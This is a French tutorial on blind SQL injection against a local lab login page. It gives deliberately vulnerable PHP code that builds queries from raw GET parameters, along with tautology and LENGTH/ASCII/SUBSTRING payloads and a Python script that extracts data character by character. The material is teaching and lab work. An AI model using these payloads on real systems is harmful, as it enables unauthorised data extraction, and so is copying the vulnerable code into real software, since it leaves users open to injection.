Table des matières

Blind Injection SQL

Introduction

On considère, la plus part du temps, qu'une Injection SQL est blind lorsque celle ci ne génère uniquement que deux états. Un état VRAI et un état FAUX. Si vous n'avez aucune idée de comment fonctionne une Injection SQL, il est conseillé de lire cet article : Injection SQL.

Contexte

Nous utiliserons une page de connexion classique. Vous trouverez ci-dessous le code SQL et PHP permettant de mettre en œuvre la simulation.

On considère aussi que les magic_quotes ne sont pas activées.

--
-- Structure de la table `users`
--
 
CREATE TABLE `users` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `name` VARCHAR(255) NOT NULL,
  `password` VARCHAR(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
--
-- Contenu de la table `users`
--
 
INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
<?php
 
mysql_connect("localhost","root","root");
mysql_select_db("sqli");
 
$user = 0; 
 
if(isset($_GET['user']) and isset($_GET['pass']))
{
 
    $user = mysql_query("SELECT * FROM users WHERE name='".$_GET['user']."' AND password='".$_GET['pass']."' ") or die (mysql_error());
    $user = mysql_num_rows($user);
 
}
 
if($user)
{
    echo "Welcome!";
} else {
 
?>
 
<form action="" method="get">
 
	<p><label for="user">User :</label><input type="text" name="user" value="" id="user"></p>
 
	<p><label for="pass">Pass :</label><input type="text" name="pass" value="" id="pass"></p>
 
	<p><label for="submit"></label><input type="submit" name="submit" value="Connexion &rarr;" id="submit">
	</p>
 
</form>
 
<?php
}
?>

Générer deux états

Afin d'exploiter la Blind SQL Injection il est nécessaire d'arriver à générer deux états distincts. De façon simple, nous allons utiliser la clause OR.

http://localhost/connexion.php?user=user&pass=pass' OR '1'='1

Avec cette requête nous obtenons bien un Welcome!. En effet, la requête SQL s'est transformée ainsi :

SELECT * FROM users WHERE name='user' AND password='pass' OR '1'='1'

Cette requête enverra toujours au moins un résultat, 1 est, et restera, égal à 1 ! Si maintenant nous faisons une requête du genre :

http://localhost/connexion.php?user=user&pass=pass' OR '1'='2

Nous ne nous connecterons jamais, 1 est, et restera, différent de 2.

Comme nous le voulions, les deux états sont disponible : VRAI et FAUX. Il ne reste plus qu'à faire ça avec des chaines de caractères intéressantes :-)

ASCII, SUBSTRING et LENGTH

LENGTH

Il semble que tout est dans le nom de la fonction. Si cela ne vous parait pas assez explicite, la fonction renvois le nombre de caractère que contient la chaine qui lui ai passé en argument.

SELECT LENGTH('zenk-security') 
LENGTH('zenk-security')
13

Cette fonction est indispensable pour réaliser l'exploitation.

ASCII

La fonction ASCII nous retourne le code ASCII du premier caractère de la chaine de caractères qui lui est donné en argument.

SELECT ASCII('Zenk')
ASCII('Zenk')
90

SUBSTRING ou SUBSTR

La fonction SUBSTRING prend 3 arguments - SUBSTRING(str,pos,len) :

  1. str : chaine de caractère
  2. pos : position de départ
  3. len : nombre de caractère à garder

Ainsi, la fonction SUBSTRING permet de sélectionner un ou plusieurs caractères parmi une chaine de caractères.

Principe de base

À l'aide de ces 3 fonctions il est facile de retrouver caractère après caractère ce que renvois une requête. Pour cela, il nous faudra d'abord connaître la longueur totale de la chaine de caractères. Rien de plus simple avec la fonction LENGTH

http://localhost/connexion.php?user=salut&pass=suce' OR length(user())=0 -- -

Note : le – - à la fin sert à mettre le reste de la requête en commentaire. Ainsi, on évite de se prendre une erreur à cause de ce qu'il peut rester de la requête originale.

Notre requête test donc si la taille de user() est 0, comme le formulaire s'affiche, ce n'est pas la bonne taille. Il faut donc répéter l'occasion jusqu'à obtenir Welcome!

http://localhost/connexion.php?user=salut&pass=suce' OR length(user())=14 -- -

Ainsi, user() renvois une chaine de caractères de 14 caractères. (il est possible que vous ne trouviez pas la même chose ;-))

Maintenant que nous connaissons la taille de ce que nous cherchons, utilisons ASCII et SUBSTRING pour retrouver notre chaine.

Nous allons procéder caractère par caractère en regardant la valeur ascii de chacun.

http://localhost:8888/chall.php?user=salut&pass=suce' OR ASCII(SUBSTRING(user(),1,1))=10 -- -

Le premier char de user() n'a pas pour code ASCII 10. On test toutes les possibilités (ou pas…) et on fini par tomber sur :

http://localhost:8888/chall.php?user=salut&pass=suce' OR ASCII(SUBSTRING(user(),1,1))=114 -- -

Le premier char de user() est en fait un r ! (114 correspond à un r en ASCII)

Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer :-)

Script pour automatiser

A priori ce script est pas trop compliqué et largement commenté. Cependant si vous avez des questions, n'hésitez pas ;-) Il faut évidemment l'adapter à votre environnement : host, nom du fichier, …

exploit.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import httplib
from urllib import quote as urlencode
 
def main():
 
    # Requête dont on souhaite découvrir ce qu'elle renvoit
    payload = "SELECT user()"
 
    # On commence par chercher la taille de ce que l'on cherche
    length = 0
    while True:
 
        conn = httplib.HTTPConnection('localhost:8888')
        conn.request("GET","/chall.php?user=user&pass="+ urlencode("pass' OR LENGTH(({0}))={1} -- -".format(payload,length)))
        rep = conn.getresponse().read()
 
        if rep.count("Welcome") > 0: # notre requête renvois True - on a donc la taille de la chaine
            print "Taille =",length
            break
        else:
            print "Taille !=", length
            length += 1
 
    # On cherche maintenant chaque caractère
    reponse = ""
    for offset in range(1,length+1): # on parcours chaque char
        for char in range(32,127):   # pour chaque char, on regarde chaque valeur ascii possible
            conn = httplib.HTTPConnection('localhost:8888')
            conn.request("GET","/chall.php?user=user&pass="+urlencode("pass' OR ASCII(SUBSTRING(({0}),{1},1))={2} -- -".format(payload,offset,char)))
            rep = conn.getresponse().read()
 
            if rep.count("Welcome") > 0: # notre requête renvois True - on a donc le bon char
                reponse += chr(char)
                print reponse
                break
            else:
                print reponse, chr(char)
 
 
if __name__ == '__main__':
    main()

BINARY LIKE et LENGTH

Bit Shifting